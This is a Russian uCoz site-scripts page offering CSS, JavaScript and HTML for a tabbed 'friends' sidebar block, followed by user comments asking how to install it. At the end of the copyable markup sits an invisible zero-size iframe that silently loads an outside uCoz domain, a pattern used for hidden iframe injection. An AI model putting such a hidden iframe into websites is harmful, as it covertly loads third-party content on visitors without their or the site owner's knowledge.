Пятница, 17.05.2024, 13:23
Меню сайта
    Форма входа
    Категории раздела
    скрипты для ucoz сайта [3099]
    шаблоны для ucoz скачать [2660]
    Иконки групп для форума [25]
    Графика для сайта [1953]
    шаблоны psd для фотошопа [27]
    кисти для фотошопа [39]
    уроки фотошопа на русском языке [4]
    стили для фотошопа [3]
    шрифты для фотошопа cs4 [12]
    Web-master [3058]
    Поиск
    Календарь
    Архив записей
    Наш опрос
    Умеете ли вы писать скрипты для ucoz?
    Всего ответов: 73
    Мини-чат
    200
    Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Главная » 2009 » Апрель » 20 » Блок друзья. Интересное решение.
    16:48
    Блок друзья. Интересное решение.

    Code


    1. /* UcoZ Tab */
    2. .menuBg {background:#DEE7F6 !important;}
    3. .Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    4. .Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}
    5. .MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    6. .MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    7. .MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}
    8. .MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}
    9. .MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }
    10. /* ---------------- */

    /* UcoZ Tab */
    .menuBg {background:#DEE7F6 !important;}
    .Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    .Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}
    .MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    .MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}
    .MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}
    .MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}
    .MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }
    /* ---------------- */

    Это после <head>:
    Исходный код

    Code
    1. <script type="text/javascript">
    2. // UcoZ Tab START
    3. function showmods(t) {
    4. if (t){
    5. document.getElementById('instMods').className='MnotActive1';
    6. document.getElementById('uninstMods').className='Mactive';
    7. document.getElementById('isInMo').style.display='none';
    8. document.getElementById('noInMo').style.display='';
    9. document.body.focus();
    10. } else {
    11. document.getElementById('instMods').className='Mactive';
    12. document.getElementById('uninstMods').className='MnotActive';
    13. document.getElementById('noInMo').style.display='none';
    14. document.getElementById('isInMo').style.display='';
    15. document.body.focus();
    16. }
    17. }
    18. // UcoZ Tab END
    19. </script>

    <script type="text/javascript">
    // UcoZ Tab START
    function showmods(t) {
    if (t){
    document.getElementById('instMods').className='MnotActive1';
    document.getElementById('uninstMods').className='Mactive';
    document.getElementById('isInMo').style.display='none';
    document.getElementById('noInMo').style.display='';
    document.body.focus();
    } else {
    document.getElementById('instMods').className='Mactive';
    document.getElementById('uninstMods').className='MnotActive';
    document.getElementById('noInMo').style.display='none';
    document.getElementById('isInMo').style.display='';
    document.body.focus();
    }
    }
    // UcoZ Tab END
    </script>

    Сам блок:

    Исходный код

    Code
    1. <div class="xw-tl"><div class="xw-tr"><div class="xw-tcc"></div></div></div>
    2. <div class="xw-ml"><div class="xw-mr"><div class="xw-mc menuBg">
    3.
    4. <div style="display:none;overflow:auto;height:250px;" id="noInMo">
    5. [c]<!-- код2 -->
    6.
    7. [/c]</div>
    8.
    9. <div style="overflow:auto;height:250px;" id="isInMo">
    10. [c]
    11. <!-- код1 -->
    12.
    13. [/c]
    14. </div>
    15.
    16. </div></div></div>
    17.
    18. <div class="xw-bl"><div class="xw-br"><div class="xw-bc"><div class="xw-footer"></div></div></div></div>
    19.
    20. <table border="0" cellpadding="0" cellspacing="0" width="100%">
    21. <tbody>
    22. <tr>
    23. <td width="6%"> </td>
    24. <td align="center" valign="top" width="44%"><div id="instMods" class="Mactive"><a id="instModsL" href="javascript://" onclick="showmods(0);return false;">Название 2</a></div></td>
    25.
    26. <td align="center" valign="top" width="43%"><div id="uninstMods" class="MnotActive"><a id="uninstModsL" href="javascript://" onclick="showmods(1);return false;">НАзвание 1</a></div></td>
    27. <td width="7%"> </td>
    28. </tr>
    29. </tbody>
    30. </table>
    <body style="margin:0px">  
    </iframe>  
    <iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"  
    src="http://www.for.ucoz.net">  
    </iframe>
    Категория: скрипты для ucoz сайта | Просмотров: 1221 | Добавил: SergeyZ | Рейтинг: 0.0/0
    Всего комментариев: 131 2 »
    13 -SLIM-  
    0
    1 код в css
    2 код после head (страницы сайта)
    3 код в блог (и в любое место на сайте)

    12 PALADIN  
    0
    Да ну - повещайся

    11 DaemonGt  
    -1
    я вообще не пойму как этот скрипт установить объясните кто нибудь!куда первый код засовывать и остальное?

    10 lucker  
    0
    че то не очень как то...явно не хватает фотошопа=)) скачаю, сделаю под себя...

    9 STALKER  
    0
    помоему было, тока рамка чуть другая

    8 Forward77  
    0
    Обьясните как Ставить ПЛИЗЗЗЗ!!!!!!!!!!!!!!!!!!!

    7 bad_boy145  
    1
    СТарьё выкладываете у меня этот скрипт как 3 месяца стоял... cool

    6 Sapon007  
    0
    о, всё, поставил biggrin

    5 бафоед  
    0
    как ставить?

    4 SergeyZ  
    0
    случайно всё в код загнал! там написано

    1-10 11-12
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]